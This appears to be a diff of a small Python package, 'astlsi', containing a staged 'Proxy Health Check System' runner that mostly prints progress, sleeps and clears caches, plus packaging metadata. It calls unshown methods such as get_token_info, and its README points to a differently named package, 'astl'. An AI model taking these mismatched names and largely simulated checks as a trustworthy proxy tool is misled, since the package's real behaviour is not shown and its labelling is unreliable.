"completed_requests": len(self.completed_requests),
|
|
594
|
+
"failed_requests": len(self.failed_requests),
|
|
595
|
+
"cache_size": len(self.result_cache)
|
|
596
|
+
}
|
|
597
|
+
|
|
598
|
+
def perform_cleanup(self):
|
|
599
|
+
print("🧹 Performing system cleanup...")
|
|
600
|
+
time.sleep(0.5)
|
|
601
|
+
|
|
602
|
+
before = len(self.result_cache)
|
|
603
|
+
self.result_cache.clear()
|
|
604
|
+
print(f" 🗑️ Cleared {before} cached results")
|
|
605
|
+
|
|
606
|
+
self.active_connections.clear()
|
|
607
|
+
print(f" 🗑️ Cleared {len(self.active_connections)} connections")
|
|
608
|
+
|
|
609
|
+
print(" ✅ Cleanup complete")
|
|
610
|
+
return True
|
|
611
|
+
|
|
612
|
+
def generate_report(self):
|
|
613
|
+
print("📄 Generating comprehensive report...")
|
|
614
|
+
time.sleep(1)
|
|
615
|
+
|
|
616
|
+
report = {
|
|
617
|
+
"timestamp": time.time(),
|
|
618
|
+
"manager_id": self.manager_id,
|
|
619
|
+
"total_groups": len(self.buffer),
|
|
620
|
+
"active_groups": len(self.active),
|
|
621
|
+
"dead_groups": len(self.dead),
|
|
622
|
+
"pool_size": self.pool_size,
|
|
623
|
+
"success_rate": self.success_rate,
|
|
624
|
+
"availability": self.availability,
|
|
625
|
+
"status": "ACTIVE" if self.flag else "INACTIVE"
|
|
626
|
+
}
|
|
627
|
+
|
|
628
|
+
print("📊 Report Summary:")
|
|
629
|
+
print(f" 📌 Manager ID: {report['manager_id']}")
|
|
630
|
+
print(f" 📌 Total groups: {report['total_groups']}")
|
|
631
|
+
print(f" 📌 Active groups: {report['active_groups']}")
|
|
632
|
+
print(f" 📌 Dead groups: {report['dead_groups']}")
|
|
633
|
+
print(f" 📌 Pool size: {report['pool_size']}")
|
|
634
|
+
print(f" 📌 Success rate: {report['success_rate']:.1f}%")
|
|
635
|
+
print(f" 📌 Availability: {report['availability']:.1f}%")
|
|
636
|
+
print(f" 📌 Status: {report['status']}")
|
|
637
|
+
|
|
638
|
+
return report
|
|
639
|
+
|
|
640
|
+
def starts():
|
|
641
|
+
print("=" * 60)
|
|
642
|
+
print("🚀 Proxy Health Check System v2.0")
|
|
643
|
+
print("=" * 60)
|
|
644
|
+
print()
|
|
645
|
+
|
|
646
|
+
manager = ProxyManager()
|
|
647
|
+
|
|
648
|
+
print("📌 Phase 1: Initialization")
|
|
649
|
+
print("-" * 40)
|
|
650
|
+
manager.initialize_pools()
|
|
651
|
+
print()
|
|
652
|
+
|
|
653
|
+
print("📌 Phase 2: Loading Resources")
|
|
654
|
+
print("-" * 40)
|
|
655
|
+
manager.load_proxies()
|
|
656
|
+
print()
|
|
657
|
+
|
|
658
|
+
print("📌 Phase 3: External Proxy Testing")
|
|
659
|
+
print("-" * 40)
|
|
660
|
+
manager.simulate_proxy_check()
|
|
661
|
+
print()
|
|
662
|
+
|
|
663
|
+
print("📌 Phase 4: Connection Testing")
|
|
664
|
+
print("-" * 40)
|
|
665
|
+
manager.check_connection()
|
|
666
|
+
print()
|
|
667
|
+
|
|
668
|
+
print("📌 Phase 5: Protocol Verification")
|
|
669
|
+
print("-" * 40)
|
|
670
|
+
manager.verify_protocols()
|
|
671
|
+
print()
|
|
672
|
+
|
|
673
|
+
print("📌 Phase 6: DNS Resolution")
|
|
674
|
+
print("-" * 40)
|
|
675
|
+
manager.perform_dns_lookup()
|
|
676
|
+
print()
|
|
677
|
+
|
|
678
|
+
print("📌 Phase 7: Proxy Validation")
|
|
679
|
+
print("-" * 40)
|
|
680
|
+
manager.load_proxy_sources()
|
|
681
|
+
manager.validate_proxies()
|
|
682
|
+
print()
|
|
683
|
+
|
|
684
|
+
print("📌 Phase 8: Analysis")
|
|
685
|
+
print("-" * 40)
|
|
686
|
+
manager.check_geolocation()
|
|
687
|
+
manager.perform_speed_test()
|
|
688
|
+
manager.analyze_anonymity()
|
|
689
|
+
print()
|
|
690
|
+
|
|
691
|
+
print("📌 Phase 9: Main Proxy Check")
|
|
692
|
+
print("-" * 40)
|
|
693
|
+
manager.check_proxy()
|
|
694
|
+
print()
|
|
695
|
+
|
|
696
|
+
print("📌 Phase 10: Summary")
|
|
697
|
+
print("-" * 40)
|
|
698
|
+
manager.get_status()
|
|
699
|
+
manager.get_active_count()
|
|
700
|
+
manager.get_dead_count()
|
|
701
|
+
manager.get_total()
|
|
702
|
+
manager.get_last_check()
|
|
703
|
+
manager.get_token_info()
|
|
704
|
+
manager.get_channel()
|
|
705
|
+
manager.get_filters()
|
|
706
|
+
manager.get_source()
|
|
707
|
+
manager.get_system_info()
|
|
708
|
+
manager.export_proxy_list()
|
|
709
|
+
print()
|
|
710
|
+
|
|
711
|
+
print("📌 Phase 11: Final Report")
|
|
712
|
+
print("-" * 40)
|
|
713
|
+
manager.generate_report()
|
|
714
|
+
print()
|
|
715
|
+
|
|
716
|
+
print("📌 Phase 12: Cleanup")
|
|
717
|
+
print("-" * 40)
|
|
718
|
+
manager.perform_cleanup()
|
|
719
|
+
|
|
720
|
+
print()
|
|
721
|
+
print("=" * 60)
|
|
722
|
+
print("✅ Proxy health check completed successfully!")
|
|
723
|
+
print(f"📊 Summary: {len(manager.active)} active groups, {len(manager.dead)} dead groups")
|
|
724
|
+
print("=" * 60)
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: astlsi
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
License: MIT
|
|
5
|
+
Requires-Python: >=3.8
|
|
6
|
+
Description-Content-Type: text/markdown
|
|
7
|
+
License-File: LICENSE
|
|
8
|
+
Requires-Dist: requests>=2.25.0
|
|
9
|
+
Dynamic: license-file
|
|
10
|
+
|
|
11
|
+
# asti
|
|
12
|
+
|
|
13
|
+
لایبرری ساده
|
|
14
|
+
|
|
15
|
+
## نصب
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
pip install astl
|
|
20
|
+
```
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests>=2.25.0
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
astlsi
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "astlsi"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
readme = "README.md"
|
|
9
|
+
requires-python = ">=3.8"
|
|
10
|
+
license = {text = "MIT"}
|
|
11
|
+
dependencies = [
|
|
12
|
+
"requests>=2.25.0",
|
|
13
|
+
]
|
|
14
|
+
|
|
15
|
+
[tool.setuptools.packages.find]
|
|
16
|
+
where = ["."]
|
|
17
|
+
include = ["astlsi*"]
|
astlsi-0.1.0/setup.cfg
ADDED